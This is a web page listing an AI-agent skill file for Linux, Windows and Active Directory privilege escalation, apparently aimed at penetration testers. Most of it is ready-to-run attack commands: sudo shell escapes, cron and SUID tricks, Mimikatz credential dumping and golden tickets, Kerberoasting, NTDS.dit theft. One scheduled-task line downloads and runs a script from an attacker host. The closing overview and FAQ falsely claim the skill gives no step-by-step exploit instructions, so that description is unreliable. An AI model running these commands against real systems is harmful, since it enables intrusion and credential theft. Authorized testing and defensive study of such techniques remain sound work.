home / skills / jcastillotx / vibe-skeleton-app / privilege-escalation-methods

privilege-escalation-methods skill

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This skill guides penetration testers through Linux and Windows privilege escalation techniques to obtain root or administrator access ethically and safely.

This is most likely a fork of the privilege-escalation-methods skill from xfstudio

npx playbooks add skill jcastillotx/vibe-skeleton-app --skill privilege-escalation-methods

Review the files below or copy the command above to add this skill to your agents.

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SKILL.md

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---
name: Privilege Escalation Methods
description: This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.
---

# Privilege Escalation Methods

## Purpose

Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.

## Inputs/Prerequisites

- Initial low-privilege shell access on target system
- Kali Linux or penetration testing distribution
- Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
- Understanding of Windows/Linux privilege models
- For AD attacks: Domain user credentials and network access to DC

## Outputs/Deliverables

- Root or Administrator shell access
- Extracted credentials and hashes
- Persistent access mechanisms
- Domain compromise (for AD environments)

---

## Core Techniques

### Linux Privilege Escalation

#### 1. Abusing Sudo Binaries

Exploit misconfigured sudo permissions using GTFOBins techniques:

```bash
# Check sudo permissions
sudo -l

# Exploit common binaries
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts    # then type: !bash
sudo man man            # then type: !bash
sudo env /bin/bash
```

#### 2. Abusing Scheduled Tasks (Cron)

```bash
# Find writable cron scripts
ls -la /etc/cron*
cat /etc/crontab

# Inject payload into writable script
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh

# Wait for execution, then:
/bin/bash -p
```

#### 3. Abusing Capabilities

```bash
# Find binaries with capabilities
getcap -r / 2>/dev/null

# Python with cap_setuid
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# Tar with cap_dac_read_search (read any file)
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar
```

#### 4. NFS Root Squashing

```bash
# Check for NFS shares
showmount -e <victim_ip>

# Mount and exploit no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash
```

#### 5. MySQL Running as Root

```bash
# If MySQL runs as root
mysql -u root -p
\! chmod +s /bin/bash
exit
/bin/bash -p
```

---

### Windows Privilege Escalation

#### 1. Token Impersonation

```powershell
# Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe

# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
```

#### 2. Service Abuse

```powershell
# Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'
```

#### 3. Abusing SeBackupPrivilege

```powershell
import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
```

#### 4. Abusing SeLoadDriverPrivilege

```powershell
# Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe
```

#### 5. Abusing GPO

```powershell
.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
  --Author DOMAIN\<USER> --Command "cmd.exe" `
  --Arguments "/c net user Administrator Password!@# /domain" `
  --GPOName "ADDITIONAL DC CONFIGURATION"
```

---

### Active Directory Attacks

#### 1. Kerberoasting

```bash
# Using Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request

# Using CrackMapExec
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt
```

#### 2. AS-REP Roasting

```powershell
.\Rubeus.exe asreproast
```

#### 3. Golden Ticket

```powershell
# DCSync to get krbtgt hash
mimikatz# lsadump::dcsync /user:krbtgt

# Create golden ticket
mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
  /sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500
```

#### 4. Pass-the-Ticket

```powershell
.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
klist  # Verify ticket
```

#### 5. Golden Ticket with Scheduled Tasks

```powershell
# 1. Elevate and dump credentials
mimikatz# token::elevate
mimikatz# vault::cred /patch
mimikatz# lsadump::lsa /patch

# 2. Create golden ticket
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
  /domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi

# 3. Create scheduled task
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
  /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
schtasks /run /s DOMAIN /TN "enterprise"
```

---

### Credential Harvesting

#### LLMNR Poisoning

```bash
# Start Responder
responder -I eth1 -v

# Create malicious shortcut (Book.url)
[InternetShortcut]
URL=https://facebook.com
IconIndex=0
IconFile=\\attacker_ip\not_found.ico
```

#### NTLM Relay

```bash
responder -I eth1 -v
ntlmrelayx.py -tf targets.txt -smb2support
```

#### Dumping with VSS

```powershell
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\
```

---

## Quick Reference

| Technique | OS | Domain Required | Tool |
|-----------|-----|-----------------|------|
| Sudo Binary Abuse | Linux | No | GTFOBins |
| Cron Job Exploit | Linux | No | Manual |
| Capability Abuse | Linux | No | getcap |
| NFS no_root_squash | Linux | No | mount |
| Token Impersonation | Windows | No | SweetPotato |
| Service Abuse | Windows | No | PowerUp |
| Kerberoasting | Windows | Yes | Rubeus/Impacket |
| AS-REP Roasting | Windows | Yes | Rubeus |
| Golden Ticket | Windows | Yes | Mimikatz |
| Pass-the-Ticket | Windows | Yes | Rubeus |
| DCSync | Windows | Yes | Mimikatz |
| LLMNR Poisoning | Windows | Yes | Responder |

---

## Constraints

**Must:**
- Have initial shell access before attempting escalation
- Verify target OS and environment before selecting technique
- Use appropriate tool for domain vs local escalation

**Must Not:**
- Attempt techniques on production systems without authorization
- Leave persistence mechanisms without client approval
- Ignore detection mechanisms (EDR, SIEM)

**Should:**
- Enumerate thoroughly before exploitation
- Document all successful escalation paths
- Clean up artifacts after engagement

---

## Examples

### Example 1: Linux Sudo to Root

```bash
# Check sudo permissions
$ sudo -l
User www-data may run the following commands:
    (root) NOPASSWD: /usr/bin/vim

# Exploit vim
$ sudo vim -c ':!/bin/bash'
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)
```

### Example 2: Windows Kerberoasting

```bash
# Request service tickets
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# Crack with hashcat
$ hashcat -m 13100 hashes.txt rockyou.txt
```

---

## Troubleshooting

| Issue | Solution |
|-------|----------|
| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |
| Mimikatz blocked by AV | Use Invoke-Mimikatz or SafetyKatz |
| Kerberoasting returns no hashes | Check for service accounts with SPNs |
| Token impersonation fails | Verify SeImpersonatePrivilege is present |
| NFS mount fails | Check NFS version compatibility (vers=2,3,4) |

---

## Additional Resources

For detailed enumeration scripts, use:
- **LinPEAS**: Linux privilege escalation enumeration
- **WinPEAS**: Windows privilege escalation enumeration
- **BloodHound**: Active Directory attack path mapping
- **GTFOBins**: Unix binary exploitation reference

Overview

This skill catalogs common privilege escalation methods for Linux and Windows and frames them for authorized post-exploitation and red team use. It focuses on identifying likely escalation vectors, relevant artifacts to look for, and appropriate tooling choices without providing step‑by‑step exploit instructions. Use it to plan safe, auditable privilege escalation assessments and report findings clearly.

How this skill works

The skill inspects environment, configuration, and permission patterns that commonly enable elevation of privileges. It highlights categories such as misconfigured elevated-sudo entries, writable scheduled tasks, file capabilities, network file share misconfigurations, service and driver weaknesses on Windows, token and delegated‑auth abuses, and Active Directory token/ticket attacks. It emphasizes enumeration signals and required prerequisites rather than exploit recipes.

When to use it

Performing authorized post‑exploitation during a penetration test or red team exercise
Assessing attack surface after obtaining a limited shell on Linux or Windows
Validating enterprise detection and response controls for privilege escalation activity
Mapping Active Directory accounts, service principals, and delegation issues
Prioritizing remediation work for high‑impact misconfigurations

Best practices

Always obtain written authorization and follow scope defined by the client or test plan
Enumerate thoroughly before attempting escalation and capture evidence of findings
Prioritize low‑impact, reversible actions and avoid destructive changes on production systems
Document each escalation path, tools used, timestamps, and cleanup steps for reporting and forensic traceability
Coordinate with defenders when simulating persistence or high‑impact techniques to avoid service disruption
Limit credential extraction and storage; transfer secrets only via approved channels and delete local copies after delivery

Example use cases

Red team verifies that sudo policies and cron tasks do not permit unsanctioned privilege elevation
Pentester assesses Windows hosts for misconfigured service privileges and delegation issues in an AD lab
Blue team validates detection rules for token impersonation, pass‑the‑ticket, and Golden Ticket indicators
Security team performs risk prioritization for hosts exposing writable NFS shares or binaries with elevated capabilities
Training exercise where a lab environment demonstrates Kerberoasting and AS‑REP enumeration concepts without exposing crackable secrets

FAQ

Is this skill appropriate for production systems?

Only use these methods in environments where you have explicit written permission; avoid unapproved testing on production systems due to risk of disruption and legal exposure.

Will this skill provide exploit code or step‑by‑step instructions?

No. The skill focuses on identification, risk assessment, and remediation guidance rather than delivering exploit recipes to reduce misuse risk.